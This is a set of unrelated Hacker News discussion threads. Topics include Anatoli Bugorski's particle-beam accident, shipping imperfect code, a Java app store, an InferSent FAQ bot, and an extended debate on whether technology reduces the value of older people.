A Russian scientist who was struck by a particle accelerator beam - <AUTHOR> http://en.wikipedia.org/wiki/Anatoli_Bugorski <comment><USER2> It seems like the reason his intellectual capacity stayed the same may be because the beam did not touch his frontal lobes, but passed through his midbrain all the way to the back of his head, and appears to have exited near the occipital lobe. The occipital lobe is where the visual cortex is located, which could explain why he saw a light brighter than a "thousand suns." I'd be curious to know what his visual-spatial capacity and perceptual acuity was after this accident, though as a physicist he would probably rely on these systems heavily.

Someone with a better neuroscience background might be able to confirm that this is why the beam seems to have left his personality and intellectual ability in tact. Anyone?

<comment><USER3> The brain is incredibly plastic. In different degrees, it has been observed that neurons around a destroyed area mitigate the problem by taking over lost function.

In addition, abstract processing in the brain occurs over larger areas (think large neural networks). It is not established how exactly. It can be reasoned that to achieve some form of thought, followed by action, multiple sensory modalities have to be integrated. For this large, spatially divided, parts of the brain are necessary. Personality and intellect are therefore likely an emergent property of the entire network, not so much restricted to the frontal lobe.

It's a shame he is not thoroughly studied. I'm curious to see the actual extend of the damage. I hypothesize that his seizures are a product of plasticity around the damaged areas.

<comment><USER2> Yes, alterations elsewhere could most certainly have an impact on personality and intellect - but certainly a person with severe frontal lobe damage suffers more profound personality changes and working memory deficits than someone who experiences damage elsewhere, correct? I'm reminded of the story of Phineas Gage who had severe injuries to his frontal lobes, and according to people who encountered him displayed poor judgment/impulsivity for the rest of his days. There have been challenges to these reports, with some saying that Phineas Gage was very functional even after the accident. I'm inclined to believe that the truth is somewhere between "Severely disabled" and "Perfectly functional," which means some aspects of reports about his personality changes are accurate.

<comment><USER3> Yep, that seems fair to say. Must note that it seems that the damage that Phineas endured was much more substantial.

Considering the complexity of personality and behavior and our lack of understanding of their representation in the brain, I wonder how far we would get than this type of anecdotal evidence if given the change to investigate. Personality tests are mostly, if not completely useless.

</comment></comment></comment></comment><comment><USER4> So I tried to find a more recent picture after reading the article. I stumbled upon this Gizmodo article which indicates that the left side of his face hasn't wrinkled since the accident, due to the paralysis caused by the beam. You wouldn't guess that he was struck by a proton beam based on the picture in the article...

[http://gizmodo.com/what-happens-when-you-stick-your-head- int...](http://gizmodo.com/what-happens-when-you-stick-your-head-into-a- particle-a-1171981874/1174437474)

<comment><USER5> This gizmodo article reeks of sensationalism. They go so far as to say half of his face got "older and wrinkly," while the other half stayed "exactly the same," even though it's plainly obvious that all of his face has aged, both sides have wrinkles, and the half that was struck by the beam isn't the same as it was since the accident. At the very least I'd love to see more information substantiating the claim.

An article explaining part of the reason why I'm suspicious: [http://www.washingtonpost.com/posteverything/wp/2014/07/24/i...](http://www.washingtonpost.com/posteverything/wp/2014/07/24/its- not-just-about-the-malaysian-flight-russians-are-living-in-an-alternate- reality/)

<comment><USER6> This doesn't seem all that crazy to me. The Wikipedia article says that the left side of his face is paralyzed because the corresponding nerves are destroyed. The left side of his face may not wrinkle because the muscles do not contract. This is similar to the mechanism of Botox, which interferes with nerve terminals at the injection site.

EDIT: Also, one of the symptoms of Bell's palsy, which is a form of paralysis of the cranial nerves, is fewer wrinkles on the affected side of the face.

</comment></comment></comment><comment><USER7> I was told by staffers at Fermilab that it was once not uncommon for experimenters to stand in the experiment blockhouses and manually position detectors in the beam. Sometimes maybe even traversing the beam in front of the beam-dump. Not the main ring beamline of course, that would probably be fatal, but the at the Meson Test Beam line. Nowadays those areas are locked out such that breaching the area would shut off the beam before you could reach it. Of course, it was probably locked-out then as well, but now you'll be thrown off the premises if you break the lock.

<comment><USER8> Somewhat similar: during the early nuclear bomb design work, people would sometimes perform criticality experiments _by hand_ on plutonium cores. There were, naturally, accidents, with two people dying immediately and several others dying years later likely due to the radiation exposure.

See: [http://en.wikipedia.org/wiki/Demon_core](http://en.wikipedia.org/wiki/Demon_core)

<comment><USER9> The fellow holding the plutonium hemispheres apart with the tip of a screwdriver [http://en.wikipedia.org/wiki/Louis_Slotin](http://en.wikipedia.org/wiki/Louis_Slotin) had previously distinguished himself by going swimming in an active nuclear reactor. Possibly no-one will ever surpass his achievements as likely the greatest eejit in the history of nuclear engineering.

<comment><USER10> Known as "tickling the dragon's tail". Naturally Hollywood has it's own take on the situation: [https://www.youtube.com/watch?v=9Zg69OlFOac](https://www.youtube.com/watch?v=9Zg69OlFOac)

</comment></comment></comment></comment><comment><USER11> Also see victims of the Therac-25: [http://courses.cs.vt.edu/professionalism/Therac_25/Therac_1....](http://courses.cs.vt.edu/professionalism/Therac_25/Therac_1.html)

<comment><USER12> Yes, a good read for anyone interested in codes for safety-critical applications.

</comment></comment><comment><USER13> So, that must be where the plot of Another World came from.

</comment><comment><USER14> "Phineas Gage for the Nuclear Age!"

</comment><comment><USER15> Is this the origin story of Doctor Moscow?

</comment><comment><USER16> In Soviet Russia, proton splits YOU

<comment><USER10> That would be funny if protons were splittable

<comment><USER17> I'm confused. Protons are "splittable" in the sense that they are not elementary particles, but are instead comprised of multiple quarks. The Large Hadron Collider [0] "splits" protons. In fact this is how they claim to have observed the Higgs boson. See the image caption:

       Simulated Large Hadron Collider CMS particle
       detector data depicting a Higgs boson produced
       by colliding protons decaying into hadron jets
       and electrons

[0] [http://en.wikipedia.org/wiki/Large_Hadron_Collider](http://en.wikipedia.org/wiki/Large_Hadron_Collider)

<comment><USER10> oops!</comment></comment></comment></comment>


Ask HN: How to convince my coworkers to ship imperfect code? - <AUTHOR> We've heard mantras many times. Mark Zuckerberg urges to "Move fast and break things" ( although it's "move fast with stable infrastructure" now.  ). Reid Hoffman says, that "If you are not embarrassed with first version of your product, you are too late". And in my company, we are buying in the adage of moving fast.
In the trenches, close to the code, perfectionism is chipping away at our productivity.
"Let's take time to make this piece future-proof because we never get around to refactoring things later". The motivation is noble - save ourselves and future victims of our code some problems. But, what I've seen is: - We never get around to refactoring because we take SO MUCH time honing v1 that nobody sane gives us more time to make it better. Maybe if we shipped sooner, we could refactor later? (That is my personal experience when I just wanted to refactor) - We spent days making some solution perfect but it turns out the whole data structure is useless and has to be thrown away because it just does not fit to overall infrastructure. -  That making perfect blocks other people from iterating on it.
I found out that following approach works best
1 Hack together an end - to - end prototype to test if all pieces can work together in the hackieshest way possible 2 Design interfaces between the pieces 3 Extract classes, libraries, etc so improvements are easy to collaborate on 4 Ship MVP to production to get user feedback 5 Introduce every non-critical part of the feature while taking user feedback into account
Perfectionism is something that is plaguing authors and other professionals  ( Although I hate "code is poetry" adage, I do see shared struggle between coders and authors and a lot of advice can be inferred from books like "Bird By Bird" by Anne Lamot - especially concept of "shitty first draft" )
Soo… How do I convince my coworkers to iterate more? Ideally, I'd like to create online perfectionism-antidote. Or am I wrong maybe? <comment><AUTHOR> I love my coworkers, they are truly the smartest people I know and I never dreamed of such productive work environment, but these are the practices I found to be problematic:

\- Writing tests in the sam PR introducing a library that is not yet used is waste of time since that library will go through several revisions before fitting in the whole project. In the meanwhile, tests are usually testing interfaces (which is of questionable benefit) and take time to rewrite every time lib interface needs to be adjusted

\- "Taking time" to make it "proper" . "Proper" is usually currently hyped opinion and in our case (12 year old product) consistency is always a choice with what we want to be consistent. I am strong believer in coding standards, but I hate consistency with randomness. What I mean is - I've seen decision made at random (because sometimes we're exploring the unknown) and then we force consistency with that decision never reexamining it.

\- Designing classes / libraries up front- this is the design process that takes 0 data and turns it into binding decisions. It should be done at the end!

\- "If we make code better, the product will be better by extension" - this is pure BS. There is an infinity of nice things you can do with the code that DO NOT trickle down to product experience. Rich Americans getting richer does not trickle down to poor Americans getting richer.

\- 'We are not some code sweat shop where we pump shitty code". Well, we are not and we CAN make code better AFTER it is working.

\- Perfect IS NOT set in stone. There is no 1 perfect solution. There is a myriad of good enough ones, and I love good enough ( it has to be better than "just working" )!

</comment><comment><USER2> I have no solutions, only commiserations.

Is there a process that is slowing you down? Can you find a partner in crime to help you circumvent that process? Be it a co-worker to sign off on code reviews or a manager to shield your work?</comment>


Self-Feeding Robots: Robots that Plug Themselves Into Wall Outlets - <AUTHOR> http://www.hizook.com/blog/2010/01/03/self-feeding-robots-robots-plug-themselves-wall-outlets

<comment><AUTHOR> I am impressed that Intel has used the <http://ros.org/> stack to offload a lot of the work. I think it shows that open-source in robotics is a great thing!</comment>


Pony Fail: Why Java App Store won't take off - <AUTHOR> http://thermalnoise.wordpress.com/2009/05/21/pony-fail/

<comment><USER2> _2) Dude, where is my IDE ? Not Netbeans. Something like that shiny "Adobe Flash" thing._

Obviously the author has never tried to write ActionScript within the _omg- rip-my-brain-out-before-i-kill-myself-_ awful "Adobe Flash" application.

The best thing Adobe ever did with Flash was base FlexBuilder on Eclipse. I hear they were going to write their own IDE, but they had just hired some Microsoft guy who told them they were nuts and convinced them to build it on top of Eclipse instead.

<comment><USER3> There's a big split between animators who couldn't imagine using Flex and programmers who can't stomach Flash Authoring. Flex and "traditional" Flash have little in common other than using the same runtime.

Looking at JavaFX, it's not clear which audience Sun is targeting. It looks like it's oriented towards programmers, but the language also has things like built-in animation.

<comment><USER2> Flex has plenty of animation stuff built-in... that doesn't stop it from being clearly "for programmers"... though to be fair, Flex's animation stuff is basically effects/transitions.

</comment></comment></comment><comment><USER4> My powers of whit fall short while trying to express how idiotic this idea is. When I read of this "brilliant" scheme earlier today, I thought it must be April 1st already.

Honestly, is Sun now being run by the marketing department? "Hey, guys, let's do the iPhone/Appstore thing. We'll be the first to do it on the desktop! A sure-fire winner! Besides, if we don't do it first, Adobe will scoop us!"

Riiiiight. Sun thinks that they need a Flash killer, something to compete against Adobe Air. And as we all know, Adobe Air has just been sooooo successful on the desktop.

<comment><USER5> If they ditch the Java part, or relegate it to it's rightful place as a tech bullet point, then I think they're onto something. There is a point that would not just be imitation of Apple. There are a lot of users out there who need serious hand-holding -- the kind that they have to bug their tech savvy relatives, pay lots of $$ for, or that they simply don't get right now.

If someone can deliver a dead-simple system for getting slick, high-quality, security vetted desktop applications to people, it would serve an urgent need. It doesn't matter if the underlying tech is Java, Python, .Net, whatever. Most people will only care if it's easy and useful.

Do most people know or care that much of the iPhone code is Objective-C? Nope. They care that it works.

There is a big problem, however. The iPhone App store could get a critical mass of potential users because the hardware was so sexy, people bought the phone even when apps weren't available. What's going to do this for the Java App Store? Are they going to slip it into the JRE? Also, Sun has a history of not being able to make things easy or slick enough for the general populace. Heck, they have a hard time making interfaces gearheads like!

 _"My powers of whit fall short..."_

Unintentional irony is often the funniest.

</comment></comment><comment><USER6> I haven't had Java installed on my computer for years, not going to start now.

<comment><USER7> That's an insane comment. Don't even know where to start.

<comment><USER8> why? the only use for java on my PC right now is that one of my banks' website requires it for login.</comment></comment></comment>


Your telltale video camera shake can identify you - <AUTHOR> http://www.newscientist.com/article/mg22429992.600-your-telltale-video-camera-shake-can-identify-you.html

<comment><USER2> I might also be worried about the 12 percent of people who were wrongly identified. I wonder how large that number might be when generalized to the entire populace?</comment>


More companies in the 'quantified self' and 'personal datastore' space? - <AUTHOR> http://twitter.com/paulg/status/29254620599

<comment><AUTHOR> i.e. analyze our social life, finances, networks, contacts?

Xobni, Skydeck, Mint, and many other popular examples.</comment>


Show HN: Kylo – Simple FAQ Bot Built with Facebook's Infersent - <AUTHOR> https://github.com/avinassh/kylo <comment><AUTHOR> I am a noob at Machine Learning / Deep Learning, started learning recently. I stumbled upon Facebook's Infersent [0] and implemented this project. Infersent works really nice out of the box. For toy projects and experimentations, it is really fun to use it. The actual code which finds the closest match is less than 10 lines of Python.

I also have a demo here - [http://126.96.36.199:9999/](http://18.104.22.168:9999/) I added some questions related to the Udacity's course I was doing. This was a side project for the course. Do note that this demo dataset is very small.

[0] - [https://github.com/facebookresearch/InferSent](https://github.com/facebookresearch/InferSent)</comment>


How to Use Ansible to Provision a PostgreSQL Server - <AUTHOR> http://blog.apcelent.com/using-ansible-to-setup-postgresql.html?utm_source=hackernews,%20ops&utm_medium=marketing&utm_campaign=blog <comment><USER2> Ansibel?

<comment><AUTHOR> Thanks, corrected!</comment></comment>


Technology reduces the value of old people - <AUTHOR> http://blogs.law.harvard.edu/philg/2009/10/29/technology-reduces-the-value-of-old-people/ <comment><USER3> This article 'rages against the machine'. Technology reduces the value of the skills and fact knowledge of everyone, not just old people. That is the point of technology. Information technology in particular.

The article asks:

"Want help orienting a rooftop television aerial? Changing the vacuum tubes in your TV? Dialing up AOL? Using MS-DOS? Changing the ribbon on an IBM Selectric (height of 1961 technology)? Tuning up a car that lacks electronic engine controls? Doing your taxes without considering the Alternative Minimum Tax and the tens of thousands of pages of rules that have been added since our senior citizen was starting his career? Didn't think so."

But these are contrived examples. Created specifically to illustrate technology's devaluing effect on the skills of older people.

Consider these questions:

Want help with that Bresenham's algorithm code? No thanks, I use glDrawLine() like most other non idiots. Want me to help you set up a MySQL on that server on the internet? No thanks, I have a buck. I'll spend the first ten cents on an Amazon RDS instance. Then a quarter on buying you a clue. I would give you the remaining change, but there are pan handlers that are probably more deserving.

Also contrived, created specifically to illustrate technology's devaluing effects on the skills of young people.

My point is we don't have to fear monger.

Consider . . . what moron would hire a 25 year old hot shot instead of Werner Vogels. Yeah . . . I don't think that moron exists either. Let's say you have a marketing and design God who happens to be between 20 and 30. Would you match him up against Steve Jobs? No. You wouldn't expect him to be that good for another 20 years.

Talent is where you find it, and it is the only thing of value in a world of rapid technological advance. Talented people have an ability to think differently. People like this will always be valued, young or old. So let's stop 'raging against . . .' and start 'innovating with . . .'

<comment><USER4> W. Vogels and S. Jobs are also contrived examples, being "off the charts" in terms of success and visibility.

<comment><USER3> Yeah . . . uhh . . . That would be why I called them "contrived examples".

</comment></comment></comment><comment><USER5> Let me address Greenspun's 50-year-old friend, who says:

 _I have been declared inept by my household! It only gets worse. You are not judged by your intelligence but by how well you do menial tasks. I have been spiritually castrated. I am a walking corpse. The only freedom is when I write._

Look: Google did not cause your midlife crisis. If you can't live your own life, finding happiness in your own work (whatever it is) and not worry about how other people "judge" you, that is too bad, and you're not the only one (they didn't invent the term "midlife crisis" by accident) but don't blame information technology.

Old people, as a class, probably _are_ valued less than they used to be, but the trend is far bigger and older than Google. Part of it is that there just are a lot more old people _around_ than there used to be. Part of it (as others have said here) is that in a literate society books and recordings can substitute for the old person's job of remembering things -- but that trend is a thousand years old and more. Part of it is the change in family size and migration patterns: Let's face it, other people's kids have always been less likely to honor you than your own kids, and it's hard to be respected by your kids if they lead independent lives many miles away. And a lot of it is just the nature of American culture: The American ideal is someone who is always moving, looking forward, and reinventing themselves. We've _always_ been big on the young: They're the ones with the most future, and it's all about the future!

None of which is causing your midlife crisis either. If you think it's miserable to be a healthy middle-class 50-year-old in the 21st-century USA, _you need counseling_.[1] Because I'll bet you wouldn't actually trade places with a random 50-year-old in, say, the 17th century: Perhaps you'd be more honored and respected for your venerable wisdom, but you'd also probably be a subsistence farmer, honored mainly to the extent that you managed to have a lot of kids and keep them alive.

Before you complain that nobody listens to you anymore, try and think about the 6.5 billion people in the world who have _less_ voice than you do: Less money, less education, less political power, less opportunity. [2]

\---

[1] Probably from someone older than you. ;)

[2] Given that we're talking about a friend of Greenspun, 6.5 billion is almost certainly a gross underestimate. Think "the population of the Earth, minus epsilon".

<comment><USER6> _If you think it's miserable to be a healthy middle-class 50-year-old in the 21st-century USA, you need counseling._

There are lots of unhappy people in the First World. Telling them that they should be happy because of how much worse things could be is the equivalent of telling a child to eat their broccoli because there are starving children in Africa.

I liked your comment enough to upmod it, but this argument struck me as being considerably less insightful than the (excellent) rest.

<comment><USER5> I agree completely. When I say "you need counseling", I'm not trying to be flip. Seriously: _If you're having a crisis, you need counseling_. You don't need to look all over the world for some sort of grand, sweeping, half-baked objective theory for your unhappiness ("information technology is making my life miserable"). Instead you need to look much closer. You need to talk to friends, loved ones, psychologists, career counselors, priests... whatever. Unhappiness is not an easy problem to solve, logic won't solve it for you, and the answer is as likely to be something trivial and personal as it is something grand and sweeping.

My writing appears to be a total failure today, not surprisingly. [1] I'm not trying to offer up objective reasons for why one should be happy because I expect them to _convince_ anyone to be happy. Of course that won't work! Happiness doesn't work that way. I'm offering them up as a counterexample to the idea, implicit in the original essay, that one's unhappiness at age 50 is necessarily related to some large-scale objective trend. It isn't. Because, I'd argue, large-scale objective trends suggest that a healthy middle-class American 50-year-old should be on top of the world. And yet many of them are unhappy anyway. I'm sorry about that, but I see no reason to believe it's Google's fault.

\---

[1] I should note, for the record, that I'm fighting the swine flu, and I'd have a 102-degree fever right now if it weren't for the awesome power of modern drugs. ;)

<comment><USER6> Get well soon.

</comment></comment></comment></comment><comment><USER7> I am often outclassed by people decades older than me and less caught up on social networking trends, Web x.0 fads and whatnot, but with more technical depth of knowledge in the fields that do fundamentally affect me. It isn't that old age makes an old person irrelevant - it is very much that old age isn't an excuse to not be curious and to not /keep learning/.

Have we truly forgotten about one of the oldest Aesops? The tortoise beat the rabbit out of sheer, bloody-minded perseverance - and even in an era where one's mental agility and flexibility is heavily hyped, there is still very, very large demand for actual /mastery/.

<comment><USER8> _... it is very much that old age isn't an excuse to not be curious and to not /keep learning/._

My thoughts exactly. I've worked with older people who lost the curiosity to keep learning about new developments in their field many years ago, and I've worked with older people who have retained their curiosity. I find in a functioning workplace, the former are often relegated to what is jokingly referred to at my current workplace as "special projects", which is code for "soon to be shown the door", the latter are very highly valued.

</comment></comment><comment><USER9> This article is a product of a culture so narcissistically in love with our own perceived greatness that we cannot conceive of anything of value being created outside that which we've built ourselves in the last five minutes.

Have we really allowed out existences to become so abstracted from the reality of what we need as humans to survive and thrive that we really believe technology is the only sort of skill worth having?

This article smacks of someone raised on MTV and happy meals.

Also:

Give me your average 30-something desk jockey and I'll send him out to work the farm with my 73 year old grandfather who's never spend a day of his life behind a desk. If the desk jockey can keep up, then we can talk.

<comment><USER10> It is true that older people still have things to offer (if I may put it so crassly)... but that doesn't make it any less true that they have much less to offer than they used to. There isn't much you can do about that.

After all, the article itself pointed out that older people still have stores of wisdom, but where a young person may want to hear about how to make his crops grow better from any source that has that info (especially after your first crop failure), young people in general aren't looking for moral guidance. (Again, until after it has failed them somehow, which tends to take more than one year. They'll learn such things just in time to be ignored by their own children.)

There has been a fairly objective sea change here. It's not just narcissism, in fact I don't think it's narcissism at all.

<comment><USER9> We _perceive_ as a culture that they have less to offer because we have shifted our measure of value. Whether our perception proves accurate is going to have to be proven out by time. I say that it will not be proven correct.

<comment><USER10> What's "perceived" about the fact that we don't need them to give us typewriting tips? What's "perceived" about the fact that I really have no need to spend quality time with my grandparent fixing an engine from the 1930s? What's "perceived" about the fact that most people don't need to learn how to can food?

It's not perception. It's fact.

I say this as someone who in fact spends a lot of time with my grandparents, has spent the last three weekends canning applesauce and visiting my grandparents in the hospital, unlike all of my other several cousins. This is because I am a whacko that actually does value their wisdom, their life stories, and some of the store of "ancient wisdom" like how to preserve your own food and advice on gardening from people who have been doing it for half a century. I've walked the walk here. But this only further strengthens the observation I have that there isn't much else I need to go to them for, compared to what might have been useful 200 years ago.

Their entire value isn't gone, but there are huge swathes of value that are. Bemoaning that fact won't change anything. I mention this because you need to look these facts in the eye if you're going to be able to do anything about it. Waxing rhapsodic about entirely hypothetical values isn't going to change anybody's mind on anything. The only way you're going to care is if you look the situation dead on, see the truth, and react to it.

And many will still choose to not care about moral wisdom or how to preserve food or anything else like that. I disagree with them, but such is life.

<comment><USER9> I'm confused about your point - you seem to be arguing against yourself here.

Yes, there are huge swaths of knowledge that by certain, subjective metrics won't be useful to certain people, but the same could be said about a lot of things. I don't need to know the same stuff that an architect needs to know for example.

I guess the basic fallacy I take issue with is that people are now measuring the value of a person based on the relevance of the knowledge that person has, and I feel that our value as people goes far beyond that.

<comment><USER10> You're being emotionally fuzzy, because you are refusing to make value judgments, a grave cognitive hazard of the current postmodern philosophical regime. I say instead that there's more than one relevant definition of "value". Are old people less "valuable" because we have no use for their wisdom? It does not diminish their dignity and "final worth" as human beings, but yes, there are useful and valid definitions by which their value is less. They are not all the value definitions, but the set is not empty. Jamming a single-dimensional definition of value on top of my posts will definitely make them look incoherent; that certainly doesn't surprise me much.

Your way of thinking leaves you unable to understand why the 50-year-old in the article feels the way he does. Of course he's valuable, right, and you should tell him to buck up, right? Well, it's true that he's still valuable, but it is _also_ true that he has identified a real problem that you can't solve by just telling him he's valuable. I don't know what the exact solution for this person is, but it's more than just trying to load up on empty self- esteem.

Emotionally fuzzy thinking is a great social signal ("man, shouldn't we just love everybody?"), but it's a terrible way to solve problems like this guy's; indeed, take this tack and you'll just further alienate him. There's a real problem here.

<comment><USER9> I would argue that the problem with broad generalizations and fuzzy definitions comes not from me, but from the article in question. The logical fallacy in the article is that he seems to be equating perceived value in the modern workforce with human worth as a whole.

I agree absolutely with what you are saying: there are different definitions of value depending on the arena in question. The issue is that we seem to be taking one area (technology) and equating it with all others, which as you say, isn't useful or valid.

I've enjoyed our discussions :)

</comment></comment></comment></comment></comment></comment></comment><comment><USER11> Elderly people have never been my primary source for facts or technical instructions. I went to the library or asked experts any age before the Internet came around. It's the experience and the subsequent insight which is extremely hard to replace by technology.

Real life example: I'm always in search of good recipes. For sure, there are tons of good recipes out there. But there are even more bad ones out there. In my experience, user rating systems only help to a limited degree. Even then, I'm facing a long web search and I typically have to try many of them out before I arrive at a good one. On the other hand, I collect recipes from grandmothers and grandfathers. They have never failed me. Why? Because they've been practicing them for 50 years.

</comment><comment><USER12> By the same reasoning technology reduces the value of all people. But as long as we're all reduced we can still stay competitive to one another.

<comment><USER13> Exactly; the old now compete with the young. It used to be that people's value morphed from physical capability to knowledge as they aged, but these days, you can keep doing the same work your whole life.

The downside is that you can't look forward to relaxing and coasting on your accumulated knowledge. You can only look forward to relaxing and coasting on your accumulated wealth.

</comment></comment><comment><USER14> What do I value in old people? Patience, compassion, wisdom, experience, self- awareness, skepticism, faith, perspective, financial maturity, honesty, thrift, perserverance, self-sacrifice, wit. Not only does technology not diminish any of that value, I find that technology makes those qualities even more valuable.

<comment><USER15> I think a lot of those attributes are less valuable in today's world, mostly for technological reasons. :)

Patience: everything from fast food to ATMs to self-checkout at the grocery has made patience nearly unnecessary compared to a hundred years ago.

Wisdom / experience / skepticism / perspective: most of what passes for 'wisdom' is merely knowledge; many such things are right (but mostly can be Googled), and many such things are wrong (because the sample was too limited -- the saw about anecdote vs data applies). In any case, I think it's far more rare to be wise than old. All these seem like they're aspects of the same thing.

Faith: Unless you meant 'trust', I'd say this isn't a net good, anyway. If you did mean 'trust', then I'd say it goes more with youth and innocence than the elderly.

Financial maturity: I grew up poor, and having lots of poor, old people around will disabuse you of the notion that older people are necessarily financially mature; this is more a function of class than age.

Honesty: With pervasive surveillance, we're about to be forced into being more honest than people have ever been. This is actually more likely to affect the young first, rather than the old, as various MySpace and Facebook scandals have already shown. At some point, people will begin acting as though everything they do is on camera. Some of us already are.

Thrift / self-sacrifice: There's less and less need for this, as we're immensely more wealthy than we used to be, and in spite of the gloom and doom about the economy, that's likely to continue without some really massive government intervention.

Perserverance / wit: These seem like personal qualities independent of age, in my experience.

I accidentally downvoted you (while selecting text); sorry. :(

<comment><USER14> Patience: The little things are faster butthe big things don't change much. Technology does not speed up raising a child, preparing for retirement, learning a language, understanding what my life's about.

"Most of what passes for 'wisdom' is merely knowledge" - Perhaps. But I'd also suggest that many young people wouldn't know wisdom if it bit them on the ass. And no, wisdom can't be "googled".

Faith: No I don't mean trust. And I don't mean religion.

Financial maturity: I'm not saying that old people are "necessarily" anything. But people that have learned to manage their affairs through many decades may have learned something useful. I'm just saying.

Honesty: Personal surveillance? WTF? I'm not talking about stealing candy bars from the corner store. I'm talking about living long enough that you're comfortable being real with the world.

Thrift/self: "There's less and less need for this" Oh really?

Perservance / wit: I do respect and admire the perserverance of someone who's ploughed through four years of graduate school. I have tons of respect for someone who's been on the line for their family/colleagues/whatever for 50 or 60. I find young people often mistake being clever for wit.

</comment></comment></comment><comment><USER16> _Perhaps the answer is for every old person to become an expert personal computer and network administrator._

Really? We're so wrapped up in technology that my Grandma is now considered useless unless she can help me setup my home media server?

Despite growing up with technology, I learned many, many things from my elders, including work ethic, money management, respect for others and an appreciation for simpler things in life, like gardening and carpentry.

I _think_ I know what he's getting at, but I really just found this article absurd. There is, and will always be, more to life than bits and bytes.

</comment><comment><USER17> _I have been declared inept by my household! It only gets worse. You are not judged by your intelligence but by how well you do menial tasks. I have been spiritually castrated. I am a walking corpse. The only freedom is when I write._

The "outsourced mind" devalued the old. The outsourced body is coming. Wait 'till the young get acquainted with the robots that will devalue them.

</comment><comment><USER18> I love that just from the title, before clicking and without even having yet seen the little (harvard.edu) beside it, I knew _immediately_ that this was a Greenspun article.

</comment><comment><USER19> There is a point here, but I think Greenspun is 2 or 3 orders of magnitude wrong in the time scale. The elderly haven't been revered as the only repository of wisdom since the invention of writing, and the invention of the press accelerated the process. It made sense for villagers to take the outliers to the elders, because they were the only ones with some chance of having relevant experience, but their influence diminished as books became common and cheap. The elderly became mostly cheap labor for menial tasks like mending clothes or going to the bank, the kind of work that automation eliminates.

<comment><USER20> I don't know -- looking someting up in a book, even with a decent computer index, is still orders of magnitude slower than a googling it.

<comment><USER21> The difference is that when you "google it" you have nothing but a pile of undifferentiated facts and opinions without any context. Just knowing the right book to consult is sometimes a more valuable skill than being able to select the right keywords for a web search. The fact that so few seem to understand the difference between collecting facts and actually mastering a subject is painful to watch.

</comment></comment></comment><comment><USER22> The proper way to put it would be "technological progress reduces the value of the knowledge of outdated technologies", which is then reduced to "Doh" at which point one can question the need of blog post about it.

</comment><comment><USER23> One thing that comes to mind regarding _wisdom_ of the elders is certainly dealing with life itself. Of course there is a lot of factual information easily retrievable using the internet, but this is only one side of the coin. What about non-factual, personal information? What about emotions? What about life and death?

These are points where the wisdom of every "old" person becomes apparent-- something we seldomly realize before hitting the age where suddenly people start dying, some friends parent, your own grandparents, etc. One cannot find solace in Wikipedia here, and most often these events present life-changing turning points, where one realizes that putting in the extra hours is probably not worth it all, smoking actually kills people, and whatever caused the death of those near to you.

Consequently, the elders the article deals with might not know how to do that stuff or use the internet, i.e., are less tech-savvy. But every single one of them most certainly is more life-savvy, which comes in handy, too.

<comment><USER24> I hear you. There is something about face to face human connection that will never be lost, as long as we are still human. Encyclopedic knowledge is only a fraction of human value.

</comment></comment><comment><USER25> I see that the Human dimension is missing in the article and some of the comments.

Yes, sure you can google whatever you may need to know. But is useful to search how to deal with your 12 month baby, for example? You can search about her education, her games, comunication, etc... But all you get is a contradictory mess as a response. Will you get the habit of patience from the web? you'll need it with your daugther.

The same goes with all sort of inherently human issues. You can google about communicating, leading, working with people, but until you incorporate the knowledge you need, you will never be better than a person that has been doing that for 5 years. Google, won't accelerate those 5 years, as it won't sort what material is good for you (wont coach you), won't practice for you either.

So, I'm for giving to the machine (google?), what the machine best does, and for all the other stuff, you need humans. (with experience if possible)

ps: Google, won't launch your startup

</comment><comment><USER26> As the title says, he's talking about technology. Everyone knows technology is a young man's game.

The law is an old man's game. When you read an article about the latest case or legislation, the first thing they talk about is what the law was 200 or 300 years ago, and move forward from there. The law doesn't throw out old case- law; it builds on it. In this way, it remains predictable (so parties don't have to go to court to find out what the law is), it retains basic principles (e.g. fairness doesn't change with technology), and it acts as a drag rather than a kite, so it is a moderating force. While the law is often behind the times, that is far, far less dangerous than the alternative.

IOW Judges are old.

</comment><comment><USER27> My grandma's wisdom on marriage "Cooking lasts, kissing don't."

My grandfather and I refinished a cabinet and stained it. He had us smoothing out the stain with our bare hands because the brushes left strokes in the stain while telling me original stains where made from ashes and dirt. Hence the name of stains like burnt sienna. I don't know if he was pulling my leg or just talking crazy, but I love that experience much more than a google search. I still laugh about how crazy that day was.

<comment><USER21> He was correct. That pigment came from oxidized (burnt) clay that was originally mined around Siena, Italy. If you visit the city (highly recommended) you should catch a sunset in the piazza there and watch the rays of the setting sun play across the buildings constructed with bricks from this same clay; you will never wonder about the origin of that color again :)

</comment></comment><comment><USER9> I've said this before, but it's an argument that needs to be stated again: As long as humans are in control of technology then a deep and experiential understanding of human nature and behavior will always be more valuable than technological skill in certain fields. Finances, management, government, business strategy, psychology, diplomacy. Wisdom is more valuable than technological skill in these and many other arenas.

</comment><comment><USER28> "Reduces the value of." That would be a value judgement (not to mention a glittering generality if applied to all geriatrics).

Well let's say "usefulness". What is the value of 60 years of experience? Depends on the experiences, and the context. A woodworker's skills don't age, so long as they're maintained by practice. Programming language (non- algorithmic) skills age exponentially faster. For really complex problems, like human ones, an understanding of the dimensions of life and its complexities is never big enough; thus long experience lends greater perspective.

I've found that whenever I think I know something about someone I don't know, that illusion goes away once I get to know them ... unless their 'life' has consisted of nothing but being 'useful'.

</comment><comment><USER29> Higher health insurance premiums are probably to blame for a good part of the desire firms have to hire younger people.

A simple improvement to skyrocketing health care costs would be to eliminate employer provided plans and let everyone buy a plan on the open market.

<comment><USER30> > Higher health insurance premiums are probably to blame for a good part of > the desire firms have to hire younger people.

That's why we should tax younger people to pay for older folks' healthcare. Medicare's 3% is just the start - single payer will let us (I'm older than most of you) bleed them in ways that they'll never figure out. (Heck - <USER2> haven't figured out social security.)

Then again, that's not a high bar - they haven't figured out that there are lots of ways to cover pre-existing and catastrophic that don't involve inter- generation subsidies. Throw in some rhetoric and they'll even think that you're doing them a favor.

</comment></comment><comment><USER31> I just remembered reading this:

[http://www.usatoday.com/news/nation/census/2009-09-17-young-...](http://www.usatoday.com/news/nation/census/2009-09-17-young- people_N.htm)

"The incomes of the young and middle-aged — especially men — have fallen off a cliff since 2000, leaving many age groups poorer than they were even in the 1970s, a USA TODAY analysis of new Census data found."

So, looks like the fundamental premise of this post is in error. It is the young who's economic utility is in question right now, if the market is to judge.

</comment><comment><USER32> Is this supposed to be some sort of a sarcastic or humorous piece ?

Yes, old people _may_ not be tech-savvy but of course there are lots of counter-examples to this and yes technology is not the _only_ thing in life so why take painfully contrived technology based examples ?

Then , there is the whole definition of _old_ , my boss considers me a whipper-snapper , my Boss's son considers me an old guy.

